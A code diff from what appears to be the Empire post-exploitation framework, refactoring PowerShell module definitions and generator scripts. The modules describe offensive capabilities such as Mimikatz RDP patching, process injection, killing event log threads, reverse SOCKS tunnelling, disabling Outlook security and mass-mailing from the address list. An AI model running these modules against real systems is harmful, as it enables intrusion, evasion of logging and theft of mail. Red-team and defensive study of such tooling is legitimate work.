--- a/empire/server/modules/powershell/management/downgrade_account.yaml
+++ b/empire/server/modules/powershell/management/downgrade_account.yaml
@@ -1,9 +1,11 @@
name: Invoke-DowngradeAccount
authors:
- - '@harmj0y'
-description: Set reversible encryption on a given domain account and then force the
- password to be set on next user login.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Set reversible encryption on a given domain account and then force the password to be set on next user login.
software: ''
+tactics: []
techniques:
- T1098
background: true
@@ -12,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -31,14 +33,13 @@ options:
required: false
value: ''
- name: Repair
- description: Switch. Unset the reversible encryption flag and force password reset
- flag.
+ description: Switch. Unset the reversible encryption flag and force password reset flag.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -46,5 +47,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Invoke-DowngradeAccount {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Invoke-DowngradeAccount completed!"
diff --git a/empire/server/modules/powershell/management/enable_multi_rdp.yaml b/empire/server/modules/powershell/management/enable_multi_rdp.yaml
index 716ebfe68..a424c68fa 100644
--- a/empire/server/modules/powershell/management/enable_multi_rdp.yaml
+++ b/empire/server/modules/powershell/management/enable_multi_rdp.yaml
@@ -1,11 +1,15 @@
name: Invoke-Mimikatz Multirdp
authors:
- - '@gentilkiwi'
- - '@JosephBialek'
-description: '[!] WARNING: Experimental! Runs PowerSploit''s Invoke-Mimikatz function
- to patch the Windows terminal service to allow multiple users to establish simultaneous
- RDP connections.'
+ - name: Benjamin Delpy
+ handle: '@gentilkiwi'
+ link: https://twitter.com/gentilkiwi
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+description: "[!] WARNING: Experimental! Runs PowerSploit's Invoke-Mimikatz function to patch the Windows terminal service\
+ \ to allow multiple users to establish simultaneous RDP connections."
software: ''
+tactics: []
techniques:
- T1076
background: true
@@ -22,5 +26,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script_path: 'credentials/Invoke-Mimikatz.ps1'
-script_end: Invoke-Mimikatz -Command '"ts::multirdp"';
\ No newline at end of file
+script_path: credentials/Invoke-Mimikatz.ps1
+script_end: Invoke-Mimikatz -Command '"ts::multirdp"';
diff --git a/empire/server/modules/powershell/management/enable_rdp.yaml b/empire/server/modules/powershell/management/enable_rdp.yaml
index ff878e6e5..31db68036 100644
--- a/empire/server/modules/powershell/management/enable_rdp.yaml
+++ b/empire/server/modules/powershell/management/enable_rdp.yaml
@@ -1,8 +1,11 @@
name: Enable-RDP
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Enables RDP on the remote machine and adds a firewall exception.
software: ''
+tactics: []
techniques:
- T1076
background: false
@@ -11,7 +14,7 @@ needs_admin: true
opsec_safe: false
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
diff --git a/empire/server/modules/powershell/management/get_domain_sid.yaml b/empire/server/modules/powershell/management/get_domain_sid.yaml
index c73aa475f..510fe5903 100644
--- a/empire/server/modules/powershell/management/get_domain_sid.yaml
+++ b/empire/server/modules/powershell/management/get_domain_sid.yaml
@@ -1,8 +1,11 @@
name: Get-DomainSID
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Returns the SID for the current or specified domain.
software: ''
+tactics: []
techniques:
- T1178
background: true
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -24,7 +27,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/management/honeyhash.yaml b/empire/server/modules/powershell/management/honeyhash.yaml
index a18742851..0af1009ac 100644
--- a/empire/server/modules/powershell/management/honeyhash.yaml
+++ b/empire/server/modules/powershell/management/honeyhash.yaml
@@ -1,8 +1,11 @@
name: New-HoneyHash
authors:
- - '@mattifestation'
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
description: Inject artificial credentials into LSASS.
software: ''
+tactics: []
techniques:
- T1177
background: false
@@ -30,5 +33,5 @@ options:
description: Specifies the fake password.
required: true
value: ''
-script_path: 'management/New-HoneyHash.ps1'
-script_end: New-HoneyHash {{ PARAMS }}
\ No newline at end of file
+script_path: management/New-HoneyHash.ps1
+script_end: New-HoneyHash {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/invoke-downloadfile.yaml b/empire/server/modules/powershell/management/invoke-downloadfile.yaml
index 3d47c2c96..90face03e 100644
--- a/empire/server/modules/powershell/management/invoke-downloadfile.yaml
+++ b/empire/server/modules/powershell/management/invoke-downloadfile.yaml
@@ -1,8 +1,11 @@
name: Invoke-DownloadFile
authors:
- - Cx01N
+ - name: Cx01N
+ handle: ''
+ link: ''
description: Download files from the internet through PowerShell.
software: ''
+tactics: []
techniques:
- T1544
background: true
@@ -22,5 +25,5 @@ options:
description: Remote directory to download file from.
required: true
value: ''
-script_path: 'management/Invoke-DownloadFile.ps1'
-script_end: Invoke-DownloadFile {{ PARAMS }}
\ No newline at end of file
+script_path: management/Invoke-DownloadFile.ps1
+script_end: Invoke-DownloadFile {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/invoke_script.py b/empire/server/modules/powershell/management/invoke_script.py
index 0bd5e94a1..7b54c62af 100644
--- a/empire/server/modules/powershell/management/invoke_script.py
+++ b/empire/server/modules/powershell/management/invoke_script.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
script_path = params["ScriptPath"]
script_cmd = params["ScriptCmd"]
script = ""
@@ -28,7 +24,7 @@ def generate(
try:
with open(f"{script_path}", "r") as data:
script = data.read()
- except:
+ except Exception:
return handle_error_message(
"[!] Could not read script source path at: " + str(script_path)
)
@@ -37,7 +33,7 @@ def generate(
script += "%s" % script_cmd
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/invoke_script.yaml b/empire/server/modules/powershell/management/invoke_script.yaml
index fea592efa..3a73ad3ae 100644
--- a/empire/server/modules/powershell/management/invoke_script.yaml
+++ b/empire/server/modules/powershell/management/invoke_script.yaml
@@ -1,17 +1,21 @@
name: Invoke-Script
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Run a custom script. Useful for mass-taskings or script autoruns.
software: ''
+tactics:
+ - TA0002
techniques:
- - T1064
+ - T1059
background: true
output_extension:
needs_admin: false
opsec_safe: true
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -22,9 +26,8 @@ options:
required: false
value: ''
- name: ScriptCmd
- description: Script command (Invoke-X) from file to run, along with any specified
- arguments.
+ description: Script command (Invoke-X) from file to run, along with any specified arguments.
required: true
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/invoke_sharpchisel.yaml b/empire/server/modules/powershell/management/invoke_sharpchisel.yaml
index 961b44aba..42928f6f1 100644
--- a/empire/server/modules/powershell/management/invoke_sharpchisel.yaml
+++ b/empire/server/modules/powershell/management/invoke_sharpchisel.yaml
@@ -1,11 +1,15 @@
name: Invoke-SharpChiselClient
authors:
- - '@jpillora'
- - '@shantanukhande'
-description: Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH.
- Written in Go (golang). Chisel is mainly useful for passing through firewalls, though
- it can also be used to provide a secure endpoint into your network.
+ - name: ''
+ handle: '@jpillora'
+ link: ''
+ - name: ''
+ handle: '@shantanukhande'
+ link: ''
+description: Chisel is a fast TCP tunnel, transported over HTTP, secured via SSH. Written in Go (golang). Chisel is mainly
+ useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.
software: ''
+tactics: []
techniques:
- T1090
background: true
@@ -15,9 +19,8 @@ opsec_safe: true
language: powershell
min_language_version: '2'
comments:
- - 'This is the Chisel client loaded with reflection. A chisel server needs to be started
- before running this module. Only Chisel server v1.7.2 was tested with this module. Chisel
- server should be started like so: "./chisel server --reverse"'
+ - 'This is the Chisel client loaded with reflection. A chisel server needs to be started before running this module. Only
+ Chisel server v1.7.2 was tested with this module. Chisel server should be started like so: "./chisel server --reverse"'
- https://github.com/jpillora/chisel
options:
- name: Agent
@@ -33,9 +36,8 @@ options:
required: true
value: R:socks
- name: Fingerprint
- description: Fingerprint string to perform host-key validation against the server's
- public key
+ description: Fingerprint string to perform host-key validation against the server's public key
required: false
value: ''
-script_path: 'management/Invoke-SharpChiselClient.ps1'
-script_end: Invoke-SharpChiselClient {{ PARAMS }}
\ No newline at end of file
+script_path: management/Invoke-SharpChiselClient.ps1
+script_end: Invoke-SharpChiselClient {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/invoke_socksproxy.yaml b/empire/server/modules/powershell/management/invoke_socksproxy.yaml
index d961d661e..61dca1b98 100644
--- a/empire/server/modules/powershell/management/invoke_socksproxy.yaml
+++ b/empire/server/modules/powershell/management/invoke_socksproxy.yaml
@@ -1,10 +1,12 @@
name: Invoke-SocksProxy
authors:
- - '@p3nt4'
-description: The reverse proxy creates a TCP tunnel by initiating outbound SSL connections
- that can go through the system's proxy. The tunnel can then be used as a socks proxy
- on the remote host to pivot into the local host's network.
+ - name: ''
+ handle: '@p3nt4'
+ link: ''
+description: The reverse proxy creates a TCP tunnel by initiating outbound SSL connections that can go through the system's
+ proxy. The tunnel can then be used as a socks proxy on the remote host to pivot into the local host's network.
software: ''
+tactics: []
techniques:
- T1090
background: true
@@ -42,5 +44,5 @@ options:
description: Maximum number of retries for a handler.
required: false
value: ''
-script_path: 'management/Invoke-SocksProxy.psm1'
-script_end: Invoke-ReverseSocksProxy {{ PARAMS }}
\ No newline at end of file
+script_path: management/Invoke-SocksProxy.psm1
+script_end: Invoke-ReverseSocksProxy {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/lock.yaml b/empire/server/modules/powershell/management/lock.yaml
index b2bdb245a..dbe40a3fa 100644
--- a/empire/server/modules/powershell/management/lock.yaml
+++ b/empire/server/modules/powershell/management/lock.yaml
@@ -1,8 +1,11 @@
name: Invoke-LockWorkStation
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Locks the workstation's display.
software: ''
+tactics: []
techniques:
- T1098
background: false
@@ -51,4 +54,4 @@ script: |
$Null = $User32::LockWorkStation()
Write-Host "Workstation locked"
}
-script_end: Invoke-LockWorkStation
\ No newline at end of file
+script_end: Invoke-LockWorkStation
diff --git a/empire/server/modules/powershell/management/logoff.py b/empire/server/modules/powershell/management/logoff.py
index a628a23c7..c22d000c3 100644
--- a/empire/server/modules/powershell/management/logoff.py
+++ b/empire/server/modules/powershell/management/logoff.py
@@ -1,19 +1,16 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -25,7 +22,7 @@ def generate(
else:
script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/logoff.yaml b/empire/server/modules/powershell/management/logoff.yaml
index bc533bb52..b0bbe9bc1 100644
--- a/empire/server/modules/powershell/management/logoff.yaml
+++ b/empire/server/modules/powershell/management/logoff.yaml
@@ -1,8 +1,11 @@
name: Logoff User
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Logs the current user (or all users) off the machine.
software: ''
+tactics: []
techniques:
- T1098
background: false
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: false
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -22,4 +25,4 @@ options:
required: false
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.py b/empire/server/modules/powershell/management/mailraider/disable_security.py
index c6b9cae2d..b7bc756da 100644
--- a/empire/server/modules/powershell/management/mailraider/disable_security.py
+++ b/empire/server/modules/powershell/management/mailraider/disable_security.py
@@ -3,9 +3,7 @@
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -13,17 +11,15 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
- module_name = "Disable-SecuritySettings"
reset = params["Reset"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -61,7 +57,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.yaml b/empire/server/modules/powershell/management/mailraider/disable_security.yaml
index c28f2fac8..ef834ea0f 100644
--- a/empire/server/modules/powershell/management/mailraider/disable_security.yaml
+++ b/empire/server/modules/powershell/management/mailraider/disable_security.yaml
@@ -1,10 +1,12 @@
name: Disable-SecuritySettings
authors:
- - '@xorrior'
-description: This function checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode
- registry keys for Outlook security. This function must be run in an administrative
- context in order to set the values for the registry keys.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: This function checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode registry keys for Outlook
+ security. This function must be run in an administrative context in order to set the values for the registry keys.
software: ''
+tactics: []
techniques:
- T1047
background: true
@@ -40,7 +42,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -48,6 +50,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/MailRaider.ps1'
+script_path: management/MailRaider.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.py b/empire/server/modules/powershell/management/mailraider/get_emailitems.py
index 7eebc1487..5f0a09b38 100644
--- a/empire/server/modules/powershell/management/mailraider/get_emailitems.py
+++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.py
@@ -3,9 +3,7 @@
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -13,18 +11,16 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
- module_name = "Get-EmailItems"
folder_name = params["FolderName"]
max_emails = params["MaxEmails"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -47,7 +43,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml b/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml
index 9f604e744..e2d879d95 100644
--- a/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml
+++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.yaml
@@ -1,8 +1,11 @@
name: Get-EmailItems
authors:
- - '@xorrior'
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
description: Returns all of the items for the specified folder.
software: ''
+tactics: []
techniques:
- T1114
background: true
@@ -30,7 +33,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -38,6 +41,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/MailRaider.ps1'
+script_path: management/MailRaider.ps1
advanced:
custom_generate: true
diff --git a/empire/server/modules/powershell/management/mailraider/get_subfolders.yaml b/empire/server/modules/powershell/management/mailraider/get_subfolders.yaml
index a62ef052b..b60617a1d 100644
--- a/empire/server/modules/powershell/management/mailraider/get_subfolders.yaml
+++ b/empire/server/modules/powershell/management/mailraider/get_subfolders.yaml
@@ -1,8 +1,11 @@
name: Get-SubFolders
authors:
- - '@xorrior'
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
description: Returns a list of all the folders in the specified top level folder.
software: ''
+tactics: []
techniques:
- T1114
background: true
@@ -26,7 +29,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -34,5 +37,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/MailRaider.ps1'
+script_path: management/MailRaider.ps1
script_end: Get-SubFolders {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Get-SubFolders completed!"
diff --git a/empire/server/modules/powershell/management/mailraider/mail_search.yaml b/empire/server/modules/powershell/management/mailraider/mail_search.yaml
index 1634c415e..73ea7fc3e 100644
--- a/empire/server/modules/powershell/management/mailraider/mail_search.yaml
+++ b/empire/server/modules/powershell/management/mailraider/mail_search.yaml
@@ -1,9 +1,12 @@
name: Invoke-MailSearch
authors:
- - '@xorrior'
-description: Searches the given Outlook folder for items (Emails, Contacts, Tasks,
- Notes, etc. *Depending on the folder*) and returns any matches found.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: Searches the given Outlook folder for items (Emails, Contacts, Tasks, Notes, etc. *Depending on the folder*)
+ and returns any matches found.
software: ''
+tactics: []
techniques:
- T1114
background: true
@@ -47,7 +50,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -55,5 +58,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/MailRaider.ps1'
+script_path: management/MailRaider.ps1
script_end: Invoke-MailSearch {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Invoke-MailSearch completed!"
diff --git a/empire/server/modules/powershell/management/mailraider/search_gal.yaml b/empire/server/modules/powershell/management/mailraider/search_gal.yaml
index a06853639..12532e521 100644
--- a/empire/server/modules/powershell/management/mailraider/search_gal.yaml
+++ b/empire/server/modules/powershell/management/mailraider/search_gal.yaml
@@ -1,9 +1,12 @@
name: Invoke-SearchGAL
authors:
- - '@xorrior'
-description: returns any exchange users that match the specified search criteria.
- Searchable fields are FirstName, LastName, JobTitle, Email-Address, and Department.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: returns any exchange users that match the specified search criteria. Searchable fields are FirstName, LastName,
+ JobTitle, Email-Address, and Department.
software: ''
+tactics: []
techniques:
- T1114
background: true
@@ -43,7 +46,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -51,5 +54,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/MailRaider.ps1'
+script_path: management/MailRaider.ps1
script_end: Invoke-SearchGAL {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Invoke-SearchGAL completed!"
diff --git a/empire/server/modules/powershell/management/mailraider/send_mail.yaml b/empire/server/modules/powershell/management/mailraider/send_mail.yaml
index a0d62f0af..33ac23ec7 100644
--- a/empire/server/modules/powershell/management/mailraider/send_mail.yaml
+++ b/empire/server/modules/powershell/management/mailraider/send_mail.yaml
@@ -1,9 +1,11 @@
name: Invoke-SendMail
authors:
- - '@xorrior'
-description: Sends emails using a custom or default template to specified target email
- addresses.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: Sends emails using a custom or default template to specified target email addresses.
software: ''
+tactics: []
techniques:
- T1114
background: true
@@ -21,9 +23,8 @@ options:
required: true
value: ''
- name: Targets
- description: Array of target email addresses. If Targets or TargetList parameter
- are not specified, a list of 100 email addresses will be randomly selected from
- the Global Address List.
+ description: Array of target email addresses. If Targets or TargetList parameter are not specified, a list of 100 email
+ addresses will be randomly selected from the Global Address List.
required: false
value: ''
- name: TargetList
@@ -53,7 +54,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -61,5 +62,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/MailRaider.ps1'
+script_path: management/MailRaider.ps1
script_end: Invoke-SendMail {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n Invoke-SendMail completed!"
diff --git a/empire/server/modules/powershell/management/mailraider/view_email.yaml b/empire/server/modules/powershell/management/mailraider/view_email.yaml
index e1bfd015a..bf5d2c19b 100644
--- a/empire/server/modules/powershell/management/mailraider/view_email.yaml
+++ b/empire/server/modules/powershell/management/mailraider/view_email.yaml
@@ -1,9 +1,11 @@
name: View-Email
authors:
- - '@xorrior'
-description: Selects the specified folder and then outputs the email item at the specified
- index.
+ - name: Chris Ross
+ handle: '@xorrior'
+ link: https://twitter.com/xorrior
+description: Selects the specified folder and then outputs the email item at the specified index.
software: ''
+tactics: []
techniques:
- T1114
background: true
@@ -31,7 +33,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -39,5 +41,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/MailRaider.ps1'
+script_path: management/MailRaider.ps1
script_end: View-Email {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"};"`n View-Email completed!"
diff --git a/empire/server/modules/powershell/management/phant0m.yaml b/empire/server/modules/powershell/management/phant0m.yaml
index e6ecfe812..fc2c0008c 100644
--- a/empire/server/modules/powershell/management/phant0m.yaml
+++ b/empire/server/modules/powershell/management/phant0m.yaml
@@ -1,8 +1,11 @@
name: Invoke-Phant0m
authors:
- - '@leesoh'
+ - name: ''
+ handle: '@leesoh'
+ link: ''
description: Kills Event Log Service Threads
software: ''
+tactics: []
techniques:
- T1070
- T1089
@@ -22,7 +25,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -30,5 +33,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'management/Invoke-Phant0m.ps1'
+script_path: management/Invoke-Phant0m.ps1
script_end: Invoke-Phant0m {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-Phant0m completed'
diff --git a/empire/server/modules/powershell/management/powercat.yaml b/empire/server/modules/powershell/management/powercat.yaml
index d4c3a5039..dc9b4f941 100644
--- a/empire/server/modules/powershell/management/powercat.yaml
+++ b/empire/server/modules/powershell/management/powercat.yaml
@@ -1,10 +1,12 @@
name: PowerCat
authors:
- - besimorhino
-description: powercat is a powershell function. First you need to load the function
- before you can execute it.You can put one of the below commands into your powershell
- profile so powercat is automaticallyloaded when powershell starts..
+ - name: besimorhino
+ handle: ''
+ link: ''
+description: powercat is a powershell function. First you need to load the function before you can execute it.You can put
+ one of the below commands into your powershell profile so powercat is automaticallyloaded when powershell starts..
software: ''
+tactics: []
techniques:
- T1036
background: true
@@ -88,5 +90,5 @@ options:
description: Switch. Generate Encoded Payload
required: false
value: ''
-script_path: 'management/powercat.ps1'
-script_end: powercat {{ PARAMS }}
\ No newline at end of file
+script_path: management/powercat.ps1
+script_end: powercat {{ PARAMS }}
diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py
index a721a9844..4cbb6f6aa 100644
--- a/empire/server/modules/powershell/management/psinject.py
+++ b/empire/server/modules/powershell/management/psinject.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
proc_id = params["ProcId"].strip()
@@ -39,7 +35,7 @@ def generate(
)
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -58,7 +54,7 @@ def generate(
listenerName=listener_name,
language="powershell",
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
encode=True,
userAgent=user_agent,
proxy=proxy,
@@ -83,7 +79,7 @@ def generate(
launcher_code,
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/management/psinject.yaml b/empire/server/modules/powershell/management/psinject.yaml
index 58fdcad9c..e6281d56a 100644
--- a/empire/server/modules/powershell/management/psinject.yaml
+++ b/empire/server/modules/powershell/management/psinject.yaml
@@ -1,12 +1,18 @@
name: Invoke-PSInject
authors:
- - '@harmj0y'
- - '@sixdub'
- - leechristensen (@tifkin_)
-description: Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick
- which executes PS codefrom memory in a remote process. ProcID or ProcName must be
- specified.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@sixdub'
+ link: ''
+ - name: leechristensen (@tifkin_)
+ handle: ''
+ link: ''
+description: Utilizes Powershell to to inject a Stephen Fewer formed ReflectivePick which executes PS codefrom memory in a
+ remote process. ProcID or ProcName must be specified.
software: ''
+tactics: []
techniques:
- T1055
background: true
@@ -35,22 +41,19 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Obfuscate the launcher powershell code, uses the ObfuscateCommand_Launcher
- for obfuscation types.
+ description: Obfuscate the launcher powershell code, uses the ObfuscateCommand_Launcher for obfuscation types.
required: false
value: 'False'
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate_Launcher switch
- is True.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate_Launcher switch is True.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
